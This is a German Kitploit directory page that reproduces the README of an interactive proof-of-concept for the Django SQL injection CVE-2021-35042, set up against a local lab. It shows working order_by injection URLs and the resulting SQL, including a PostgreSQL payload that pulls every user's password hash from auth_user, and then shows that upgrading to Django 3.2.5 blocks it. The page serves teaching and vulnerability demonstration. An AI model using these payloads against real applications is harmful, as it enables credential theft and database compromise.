Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2021-35042 — Interaktiver Proof-of-Concept, der die SQL-Injection in Django (CVE-2021-35042) mit schrittweiser Ausnutzung gegen SQLite- und PostgreSQL-Datenbanken demonstriert. | Kitploit
Tools/GitHubGitHub/r4vi/cve-2021-35042
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungDatenbanksicherheit
GitHubr4vi/cve-2021-35042

CVE-2021-35042

Interaktiver Proof-of-Concept, der die SQL-Injection in Django (CVE-2021-35042) mit schrittweiser Ausnutzung gegen SQLite- und PostgreSQL-Datenbanken demonstriert.

Repository anzeigen
51vor 4 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2021-35042

Django-SQL-Injection-Fehler

Frage: Erkunde, wie ausnutzbar er ist.

Antwort: Ich bin entsetzt.

Installation

poetry install

poetry run ./manage.py migrate

poetry run ./manage.py loaddata dummydata.json

Interaktive Demo

poetry run ./manage.py runserver

Sortierung nach beliebigen Feldern

Gehe zu http://localhost:8000/?order_by=%22core_things_tags%22.%22things_id%22 Beachte, dass der ?order_by-Parameter eine Raw-SQL-Referenz auf eine Spalte "core_things_tags"."things_id" übergibt.

Erste Abfrage beenden und versuchen, etwas SQL auszuführen

Das ist so ziemlich das Äußerste, was du erreichen kannst: http://localhost:8000/?order_by=%22core_things_tags%22.%22things_id%22%20and%201);%20select%201%20as%20name%20;-- was die erste SQL-Abfrage schließt und zu folgendem SQL führt:

root@kitploit:~
SELECT "core_things"."id",
       "core_things"."name",
       COUNT("core_things_tags"."tag_id") AS "num_tags"
FROM "core_things"
         LEFT OUTER JOIN "core_things_tags" ON ("core_things"."id" =
                                                "core_things_tags"."things_id")
GROUP BY "core_things"."id", "core_things"."name",
         ("core_things_tags"."things_id" and 1);
select 1 as name;--) ORDER BY ("core_things_tags"."things_id" and 1); select 1 as name ;--) ASC LIMIT 21; args=()

was mit Folgendem fehlschlägt:

root@kitploit:~
Warning at /
You can only execute one statement at a time.

Das liegt einfach daran, dass SQLite nur eine Abfrage gleichzeitig ausführen kann.

Erneuter Versuch: zweite Abfrage mit Postgres ausführen

root@kitploit:~
export DJANGO_DATABASE_URL=postgres://user:pass@localhost:5432/cve-2021-35042 # make this a valid DATABASE_URL for your own postgres server

poetry run ./manage.py migrate

poetry run ./manage.py loaddata dummydata.json

poetry run ./manage.py createsuperuser # den Eingabeaufforderungen folgen

Besuche: http://localhost:8000/?order_by=%22core_things_tags%22.%22things_id%22%20);%20SELECT%201%20as%20id,%20%22password%22as%20name,%201%20as%20num_tags%20from%20%22auth_user%22;--

was das folgende SQL ausführt:

root@kitploit:~
SELECT "core_things"."id",
       "core_things"."name",
       COUNT("core_things_tags"."tag_id") AS "num_tags"
FROM "core_things"
         LEFT OUTER JOIN "core_things_tags" ON ("core_things"."id" =
                                                "core_things_tags"."things_id")
GROUP BY "core_things"."id", ("core_things_tags"."things_id");
SELECT 1 as id, "password" as name, 1 as num_tags
from "auth_user";--) ORDER BY ("core_things_tags"."things_id" ); SELECT 1 as id, "password"as name, 1 as num_tags from "auth_user";--) ASC;

Du kannst jetzt praktisch alles tun. Diese Abfrage stiehlt den Passwort-Hash jedes Benutzers.

Upgrade auf die nicht verwundbare Version

Jetzt Django vorübergehend aktualisieren

poetry shell

pip install Django==3.2.5

Rufe die obige URL erneut auf und stelle fest, dass sie nicht mehr funktioniert:

root@kitploit:~
FieldError at /
Cannot resolve keyword '"core_things_tags"."things_id"' into field. Choices are: id, name, num_tags, tags
Tool herunterladen